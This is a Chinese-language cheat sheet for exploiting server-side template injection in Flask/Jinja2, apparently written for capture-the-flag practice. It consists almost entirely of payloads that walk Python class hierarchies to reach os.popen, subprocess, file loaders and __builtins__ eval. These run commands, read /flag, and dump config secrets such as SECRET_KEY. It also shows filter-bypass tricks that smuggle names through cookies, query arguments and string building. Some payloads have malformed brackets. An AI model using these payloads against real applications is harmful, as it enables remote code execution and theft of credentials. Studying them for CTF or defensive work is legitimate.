

FLASK

`__class__`：查看当前对象所属的类

`__mro__`：查看当前类的继承关系（MethodResolutionOrder），通常用来找基类`object`

`__base__`：查看当前类的直接父类

`__subclasses__()`：列出当前运行环境下，该类所有的子类，自定义的类也在里面（这是寻找RCE插件的关键）

`__init__`：类的初始化方法，访问构造函数，函数对象都有`__globals__`属性

`__globals__`：函数所在模块的全局变量字典，获取该函数运行时的所有全局变量、函数和引用的模块（如果这个类所在的文件夹里引用了os，或者它能访问`__builtins__`，那么os模块就会出现在这个字典里）

如果`[]`被禁用`__globals__`要访问字典键可

以：`.os`, `.get("os")`, `|attr('os')`, `.__getitem__('os')`, `dict`, `request`

要是没有什么类，可以用可以找找`__builtins__`工具，包含了python所有内置函数

有`__class__`属性的有：`()`, `''`, `""`,
`[]`, `config`, `request`, `self`, `lipsum`, `cycler`, `joiner`, `namespace`, `url_for`, `get_flashed_messages`

分隔符也可以改，开发者自定义

`{{}}`：变量、表达式打印，有回显

`{% %}`：语句、控制流，无回显，唯一有个`print`可以打印像

例：`{% if admin %} ... {% endif %}`

`{% for i in range(10) %} ... {% endfor %}`

`{% set a = 'os' %}`

`{##}`：注释，不会被执行

`#`：行语句需要开启配置

在jinja2中没有定义的变量值为`Undefined`对象

过滤器(`join, attr`)没有参数，可以不加括号

`~`：在jinja2中，在`~`两边的不管是什么都会被转成字符串，将字符连接在一起，如
`10~2=>"102", "a"~"b"="ab"`

常用模块和类

os模块

这是最直接的目标它通常隐藏在这些子类的__globals__中：

```
os._wrap_close(Python3极常用，索引通常在前150个)
```

```
warnings.catch_warnings(经典老牌)
```

```
site._Printer
```

```
linecache(因为它内部为了读取源码引用了os)
```

例：

```
{}().__class__.__bases__[0].__subclasses__()[索引].__init__.__globals__['os'].popen('whoami').read()}
```

```
{}''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()
```

inspect.Signature

```
?name={{''.__class__.__base__.__subclasses__()}}[290].__init__.__globals__['os'].popen('cat/flag').read()}
```

也有__builtins__

subprocess.Popen

subprocess.Popen(通常直接出现在subclasses列表中)

例：
{}().__class__.__bases__[0].__subclasses__()[索引]('ls', shell=True, stdout=-1).communicate()[0]}

communicate()会返回一个元组，两个元素标准输出和标准错误

_frozen_importlib_external.FileLoader

可用于绕过那些过滤了os、popen、eval或open的waf

FileLoader是Python内部用来从硬盘加载文件的类它有一个内置方法叫get_data(0, path)，第一个参数是self，get_data不会用到self，所以可以随便传参，但省略会报错

```
{}''.__class__.__base__.__subclasses__()[94]["get_data"](0,"/flag")}}
```

```
{}''.__class__.__base__.__subclasses__()[94].get_data(0,'/flag')}
```

traceback.TracebackException

```
?name={{''.__class__.__base__.__subclasses__()}}[292].__init__.__globals__['linecache']['os'].popen('ls/').read()}
```

builtins模块

`__builtins__`就像一个百宝箱，里面包含了Python所有的内置函数，如`eval`, `__import__`, `open`只要能访问到`__globals__`机会百分百`__builtins__`, 而能访问`__globals__`的都是python写的，包括用户自定义的类
常用入口类：`site.Quitter`, `site._Printer`, `warnings.catch_warnings`

利用方式：

```
执行eval: __globals__['__builtins__']['eval']  
('__import__('os').popen('id').read())")
```

```
使用import: __globals__['__builtins__']['__import__']('os').system('ls')
```

flask.json.tag.JSONTag

```
{}'__class__.__base__.__subclasses__()  
[446].__init__.__globals__['__builtins__']['eval']  
( "__import__('os').popen('whoami').read()"){})
```

绕过

`request`对象

```
是flask就有，flask.*  
{ {url_for.__globals__['request']} }  
{ {get_flashed_messages.__globals__['request']} }  
request.args : 解析后的URL查询字符串 (GET参数)  
结构：?name=abc&age=18 , request.args.name调用  
{'name': 'abc', 'age': '18'}
```

`request.form` : POST请求中表单提交的数据
结构：类似字典

`request.values` : args和form的结合体

`request.cookies` : 客户端发送的所有Cookie
SSTI价值：如果URL长度受限，可以将Payload放在Cookie里，通过`request.cookies.mykey`读取

`request.headers` : 所有的HTTP请求头
结构：包含User-Agent, Referer, Host等
SSTI价值：可以用`request.headers['User-Agent']`来读取数据

`request.method` : 请求方法 (GET, POST, PUT等)

`request.path` : 请求的路径 (不带域名和参数，如/login)

`request.url` : 完整的请求地址

`request.host` : 服务器的主机名 (域名)

`request.remote_addr` : 客户端的真实IP地址

`request.files` : 上传的文件对象

`request.json` : 如果请求头是application/json，这里存放解析后的JSON数据

```
?name={{().__class__.__base__.__subclasses__()[94][request.args.m1]
(0,request.args.m2)]}&m1=get_data&m2=/flag
```

pop函数

```
__subclasses__( )是列表，__init__.__global__是字典都可以使用pop  
pop会删除并返回指定键的值，通常一次性会导致环境崩溃  
__subclasses__[94]和__subclasses__.pop(94)值相等
```

lipsum函数

```
内置函数有__globals__属性，可以直接lipsum.__globals__  
拥有模块：os
```

```
{{(lipsum|attr(request.cookies.m1)).get(request.cookies.m3).open(request.cookies
.m2).read()}}
cookie : m1=__globals__;m2=cat /flag;m3=os
{{ (lipsum|attr(request.cookies.n)|attr(request.cookies.k))
("os").open(request.cookies.m).read() }}
cookie : n=__globals__;k=__getitem__;m=ls
{{ (lipsum|attr(request.cookies.n))
[request.cookies.k].open(request.cookies.m).read() }}
cookie : n=__globals__;k=os;m=ls
{{(lipsum|attr(request.cookies.m1)).get(request.cookies.m3).open(request.cookies
.m2).read()}}
cookie : m1=__globals__;m2=cat /flag;m3=os
```

| attr()过滤器

```
可以是字符串也可以是变量
lipsum|attr("__init__")|attr("__globals__") 等于 lipsum.__init__.__globals__
{{(lipsum|attr(request.cookies.m1)).os.open(request.cookies.m2).read()}}
Cookie : m1=__globals__;m2=cat /flag
```

{% %}分隔符

```
{%print((lipsum|attr(request.cookies.m1)).get(request.cookies.m3).open(request.c
ookies.m2).read()%}
cookie : m1=__globals__;m2=cat /flag;m3=os
```

{% %}中可以写set定义变量，{{}}会报错

字符拼接绕过

```
dict : dict函数在创造字典时python会自动把赋值对象看成字符串
例：dict(name=1)直接生成{"name":1}
join : 对字典使用join时，join会把字典的所有键拼接成一个字符串，所以dict(po=a, p=a)|join可以生
成"pop"，而a是占位符随便写
```

```
{% set po=dict(po=a, p=a)|join%}          #设置po为pop#
{% set a=()|select|string|list|attr(po)(24)%} {{#{{()|select}}为<generator
object select_or_reject at 0x7fbdb99af220>, pop(24)正好时下划线#}
```

```

{% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {"#设置ini为__init__#}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {"#设置glo为__globals__#}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {"#设置geti为__getitem__#}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {"#设置built为
__builtins__#}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {"#设置x为
q.__ini__.__globals__.__getitem__('__builtins__')#}
{% set chr=x.chr%} {"#提取__builtins__中的chr函数#}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} {"#构造文件路
径/flag#}
{%print(x.open(file).read())%} {"#利用__builtins__.open('/flag').read()读取文件内容#}

```

数字被过滤可以用count如`{%set n=(dict(cccc=a)|join)|count%}`将n赋值为4
length : count被过滤可以用length替换，jinja2的length和count完全等价

```

{%print(lipsum|string|list)%}
输出：
['<', 'f', 'u', 'n', 'c', 't', 'i', 'o', 'n', ' ', 'g', 'e', 'n', 'e', 'r', 'a',
't', 'e', '_', 'l', 'o', 'r', 'e', 'm', '_', 'i', 'p', 's', 'u', 'm', ' ', 'a',
't', ' ', '0', 'x', '7', 'f', '6', 'b', 'f', '3', 'e', '4', 'c', '5', '5', '0',
'>']

```

而我们要在这些字符中把我们想要的一个个拼起来

例：

```

{%set gl=((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~
((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~
((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~
((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~
((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~
((lipsum|string|list).pop(18)))%
{%print(lipsum|attr(gl))%}
gl为__globals__

```

框架内置对象(Flask/Jinja2特有)

```

不需要从''出发，直接在模板中就能拿到的对象
config:泄露SECRET_KEY、数据库连接密码{{config}}
request:利用请求对象
{{request.application.__self__.get_data_for_json.__globals__['os'].popen('id').r
ead()}}
url_for/get_flashed_messages:{{url_for.__globals__['os'].popen('ls').read()}}

```